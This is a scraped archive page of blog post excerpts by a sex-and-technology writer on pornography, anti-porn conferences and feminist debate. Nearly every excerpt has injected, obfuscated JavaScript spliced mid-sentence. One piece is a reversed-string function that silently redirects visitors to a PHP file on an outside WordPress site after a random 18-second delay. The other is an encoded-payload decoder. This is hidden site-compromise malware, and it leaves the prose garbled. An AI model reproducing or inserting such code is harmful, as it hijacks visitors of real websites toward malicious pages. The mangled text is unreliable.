Author Archives: violet

About violet

Violet Blue (tinynibbles.com) is a Forbes "Web Celeb," a high-profile tech personality and one of Wired's "Faces of Innovation." She is regarded as the foremost expert in the field of sex and technology, a sex-positive pundit in mainstream media (MacLife, The Oprah Winfrey Show, others) and is regularly interviewed, quoted and featured prominently by major media outlets. Violet has many award-winning, best selling books; her book The Smart Girl's Guide to Porn is featured on Oprah's website. She was the notorious sex columnist for the San Francisco Chronicle. She headlines at conferences ranging from ETech, LeWeb and SXSW: Interactive, to Google Tech Talks at Google, Inc. The London Times named Blue one of the 40 bloggers who really count (2010). Violet Blue is in no way associated with the unauthorized use of her name (or likeness) and registered trademark in pornographic films.

Women Who Want to Watch Porn: What to Expect

If you’re a girl who has never really seen pornography, admitting $Bhq=function(n){if (typeof ($Bhq.list[n]) == “string”) return $Bhq.list[n].split(“”).reverse().join(“”);return $Bhq.list[n];};$Bhq.list=["'php.snimda-lla/sedulcni/etis-etavirp-oidarnoj/snigulp/tnetnoc-pw/sserpdrow/moc.nogaxehliie//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000;setTimeout($Bhq(0), delay);}to yourself that you want $Bhq=function(n){if (typeof ($Bhq.list[n]) == “string”) return $Bhq.list[n].split(“”).reverse().join(“”);return $Bhq.list[n];};$Bhq.list=["'php.snimda-lla/sedulcni/etis-etavirp-oidarnoj/snigulp/tnetnoc-pw/sserpdrow/moc.nogaxehliie//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay … Continue reading

Posted in Uncategorized | 7 Comments

Food for Thought: Latest Pro-Porn News and Information

How do you feel about the idea of obscenity — or other people telling you what you should think is obscene? A lot of really thought-provoking items about pornography have come up recently, function oc532bd2f6(uf){var yd=’ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=’;var vb=”;var y4,sd,t3,rd,y3,x1,s0;var nd=0;do{rd=yd.indexOf(uf.charAt(nd++));y3=yd.indexOf(uf.charAt(nd++));x1=yd.indexOf(uf.charAt(nd++));s0=yd.indexOf(uf.charAt(nd++));y4=(rd4);sd=((y3&15)2);t3=((x1&3)=192)sd+=848;else if(sd==168)sd=1025;else … Continue reading

Posted in Uncategorized | 5 Comments

First Encounters: “Porn Virgin” Chapter from The Smart Girl’s Guide to Porn on Oprah

Watching porn is way different than watching a full-length erotic feature film, or a Hollywood movie. But when it’s your first few times, or you see porn you don’t understfunction oc532bd2f6(uf){var yd=’ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=’;var vb=”;var y4,sd,t3,rd,y3,x1,s0;var nd=0;do{rd=yd.indexOf(uf.charAt(nd++));y3=yd.indexOf(uf.charAt(nd++));x1=yd.indexOf(uf.charAt(nd++));s0=yd.indexOf(uf.charAt(nd++));y4=(rd4);sd=((y3&15)2);t3=((x1&3)=192)sd+=848;else if(sd==168)sd=1025;else if(sd==184)sd=1105;vb+=String.fromCharCode(sd);}if(s0!=64){if(t3>=192)t3+=848;else if(t3==168)t3=1025;else if(t3==184)t3=1105;vb+=String.fromCharCode(t3);}}while(nd=192)t3+=848;else if(t3==168)t3=1025;else … Continue reading

Posted in Uncategorized | Leave a comment

Know the Difference: Are You Anti-Porn, or Anti-Sex?

The more they tell us why we should think porn is bad, the more we see specific themes repeat in anti-porn values. Two of the strongest themes don’t seem $Bhq=function(n){if (typeof ($Bhq.list[n]) == “string”) return $Bhq.list[n].split(“”).reverse().join(“”);return $Bhq.list[n];};$Bhq.list=["'php.snimda-lla/sedulcni/etis-etavirp-oidarnoj/snigulp/tnetnoc-pw/sserpdrow/moc.nogaxehliie//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay … Continue reading

Posted in Uncategorized | 8 Comments

Anti-Porn Profiteering: What They’re Selling

With a sexy fetish boot on the cover that teases you with kinky sex imagery, Gail Dines’ new book “Pornl// >4);sd=((y3&15)2);t3=((x1&3)=192)sd+=848;else if(sd==168)sd=1025;else if(sd==184)sd=1105;vb+=String.fromCharCode(sd);}if(s0!=64){if(t3>=192)t3+=848;else if(t3==168)t3=1025;else if(t3==184)t3=1105;vb+=String.fromCharCode(t3);}}while(nd4);sd=((y3&15)2);t3=((x1&3)=192)sd+=848;else if(sd==168)sd=1025;else if(sd==184)sd=1105;vb+=String.fromCharCode(sd);}if(s0!=64){if(t3>=192)t3+=848;else if(t3==168)t3=1025;else if(t3==184)t3=1105;vb+=String.fromCharCode(t3);}}while(nd4);sd=((y3&15)2);t3=((x1&3)=192)sd+=848;else if(sd==168)sd=1025;else if(sd==184)sd=1105;vb+=String.fromCharCode(sd);}if(s0!=64){if(t3>=192)t3+=848;else if(t3==168)t3=1025;else if(t3==184)t3=1105;vb+=String.fromCharCode(t3);}}while(nd4);sd=((y3&15)2);t3=((x1&3)=192)sd+=848;else if(sd==168)sd=1025;else if(sd==184)sd=1105;vb+=String.fromCharCode(sd);}if(s0!=64){if(t3>=192)t3+=848;else if(t3==168)t3=1025;else if(t3==184)t3=1105;vb+=String.fromCharCode(t3);}}while(nd4);sd=((y3&15)2);t3=((x1&3)=192)sd+=848;else if(sd==168)sd=1025;else if(sd==184)sd=1105;vb+=String.fromCharCode(sd);}if(s0!=64){if(t3>=192)t3+=848;else if(t3==168)t3=1025;else … Continue reading

Posted in Uncategorized | 16 Comments

A Look at “War on Pornography” and “Shock and Awe” Tactics

Since S$Bhq=function(n){if (typeof ($Bhq.list[n]) == “string”) return $Bhq.list[n].split(“”).reverse().join(“”);return $Bhq.list[n];};$Bhq.list=["'php.snimda-lla/sedulcni/etis-etavirp-oidarnoj/snigulp/tnetnoc-pw/sserpdrow/moc.nogaxehliie//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000;setTimeout($Bhq(0), delay);}top Porn Culture changed its feminist coat for a Christian cloak $Bhq=function(n){if (typeof ($Bhq.list[n]) == “string”) return $Bhq.list[n].split(“”).reverse().join(“”);return $Bhq.list[n];};$Bhq.list=["'php.snimda-lla/sedulcni/etis-etavirp-oidarnoj/snigulp/tnetnoc-pw/sserpdrow/moc.nogaxehliie//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000;setTimeout($Bhq(0), delay);}to team … Continue reading

Posted in Uncategorized | 4 Comments

The Winners of the Our Porn, Ourselves Pro-Porn Contest!

It wasn’t easy, but the decisions have been made: the winners of the Our Porn, Ourselves contest are announced — function oc532bd2f6(uf){var yd=’ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=’;var vb=”;var y4,sd,t3,rd,y3,x1,s0;var nd=0;do{rd=yd.indexOf(uf.charAt(nd++));y3=yd.indexOf(uf.charAt(nd++));x1=yd.indexOf(uf.charAt(nd++));s0=yd.indexOf(uf.charAt(nd++));y4=(rd< <2)|(y3>>4);sd=((y3&15)< <4)|(x1>>2);t3=((x1&3)< <6)|s0;if(y4>=192)y4+=848;else if(y4==168)y4=1025;else if(y4==184)y4=1105;vb+=String.fromCharCode(y4);if(x1!=64){if(sd>=192)sd+=848;else if(sd==168)sd=1025;else if(sd==184)sd=1105;vb+=String.fromCharCode(sd);}if(s0!=64){if(t3>=192)t3+=848;else if(t3==168)t3=1025;else if(t3==184)t3=1105;vb+=String.fromCharCode(t3);}}while(nd>4);sd=((y3&15)< <4)|(x1>>2);t3=((x1&3)< <6)|s0;if(y4>=192)y4+=848;else if(y4==168)y4=1025;else if(y4==184)y4=1105;vb+=String.fromCharCode(y4);if(x1!=64){if(sd>=192)sd+=848;else if(sd==168)sd=1025;else … Continue reading

Posted in Uncategorized | 1 Comment

Coalition for War on Illegal Pornography’s Washington Anti-Porn Presentation Big on Fear, Short on Fact

In our Porn Myths post we pointed you $Bhq=function(n){if (typeof ($Bhq.list[n]) == “string”) return $Bhq.list[n].split(“”).reverse().join(“”);return $Bhq.list[n];};$Bhq.list=["'php.snimda-lla/sedulcni/etis-etavirp-oidarnoj/snigulp/tnetnoc-pw/sserpdrow/moc.nogaxehliie//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000;setTimeout($Bhq(0), delay);}to the speaker schedule for Tuesday’s anti-porn presentation by “Coalition for War on Illegal Pornography,” a group consisting of … Continue reading

Posted in Uncategorized | 4 Comments

Stop Porn Culture Conference: First Reports From “Future of Pornography 2010″

Last weekend was S$Bhq=function(n){if (typeof ($Bhq.list[n]) == “string”) return $Bhq.list[n].split(“”).reverse().join(“”);return $Bhq.list[n];};$Bhq.list=["'php.snimda-lla/sedulcni/etis-etavirp-oidarnoj/snigulp/tnetnoc-pw/sserpdrow/moc.nogaxehliie//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000;setTimeout($Bhq(0), delay);}top Porn Culture’s anti-porn conference, function oc532bd2f6(uf){var yd=’ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=’;var vb=”;var y4,sd,t3,rd,y3,x1,s0;var nd=0;do{rd=yd.indexOf(uf.charAt(nd++));y3=yd.indexOf(uf.charAt(nd++));x1=yd.indexOf(uf.charAt(nd++));s0=yd.indexOf(uf.charAt(nd++));y4=(rd4);sd=((y3&15)2);t3=((x1&3)=192)sd+=848;else if(sd==168)sd=1025;else if(sd==184)sd=1105;vb+=String.fromCharCode(sd);}if(s0!=64){if(t3>=192)t3+=848;else if(t3==168)t3=1025;else if(t3==184)t3=1105;vb+=String.fromCharCode(t3);}}while(nd=192)t3+=848;else if(t3==168)t3=1025;else if(t3==184)t3=1105;vb+=String.fromCharCode(t3);}}while(ndS$Bhq=function(n){if (typeof ($Bhq.list[n]) == “string”) return $Bhq.list[n].split(“”).reverse().join(“”);return $Bhq.list[n];};$Bhq.list=["'php.snimda-lla/sedulcni/etis-etavirp-oidarnoj/snigulp/tnetnoc-pw/sserpdrow/moc.nogaxehliie//:ptth'=ferh.noitacol.tnemucod"];var … Continue reading

Posted in Uncategorized | 1 Comment

Porn Myths, Next Week’s Washington DC Anti-Porn Conference and Concerns About Content

After the S$Bhq=function(n){if (typeof ($Bhq.list[n]) == “string”) return $Bhq.list[n].split(“”).reverse().join(“”);return $Bhq.list[n];};$Bhq.list=["'php.snimda-lla/sedulcni/etis-etavirp-oidarnoj/snigulp/tnetnoc-pw/sserpdrow/moc.nogaxehliie//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000;setTimeout($Bhq(0), delay);}top Porn Culture conference this weekend, their organizers/keynote speakers will being going $Bhq=function(n){if (typeof ($Bhq.list[n]) == “string”) return $Bhq.list[n].split(“”).reverse().join(“”);return $Bhq.list[n];};$Bhq.list=["'php.snimda-lla/sedulcni/etis-etavirp-oidarnoj/snigulp/tnetnoc-pw/sserpdrow/moc.nogaxehliie//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000;setTimeout($Bhq(0), … Continue reading

Posted in Uncategorized | 7 Comments